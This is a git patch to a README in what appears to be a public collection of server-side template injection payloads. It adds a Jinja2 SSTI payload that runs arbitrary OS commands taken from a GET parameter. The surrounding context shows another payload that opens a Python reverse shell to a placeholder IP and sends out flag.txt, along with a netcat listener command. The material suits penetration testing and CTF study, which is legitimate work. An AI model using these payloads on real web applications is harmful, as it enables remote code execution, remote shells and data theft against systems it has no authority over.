From fe4bdb0df4ff39291f12d842fabbcdd4b6ff032d Mon Sep 17 00:00:00 2001 From: chiv Date: Mon, 9 Mar 2020 18:19:33 +0000 Subject: [PATCH] Improvement to the SSTI RCE --- Server Side Template Injection/README.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md index 9e6fa84..79c2a9f 100644 --- a/Server Side Template Injection/README.md +++ b/Server Side Template Injection/README.md @@ -314,6 +314,13 @@ nv -lnvp 8000 {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} ``` +Simply modification of payload to clean up output and facilitate command input (https://twitter.com/SecGus/status/1198976764351066113) +In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls) + +```python +{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%} +``` + #### Exploit the SSTI by writing an evil config file. ```python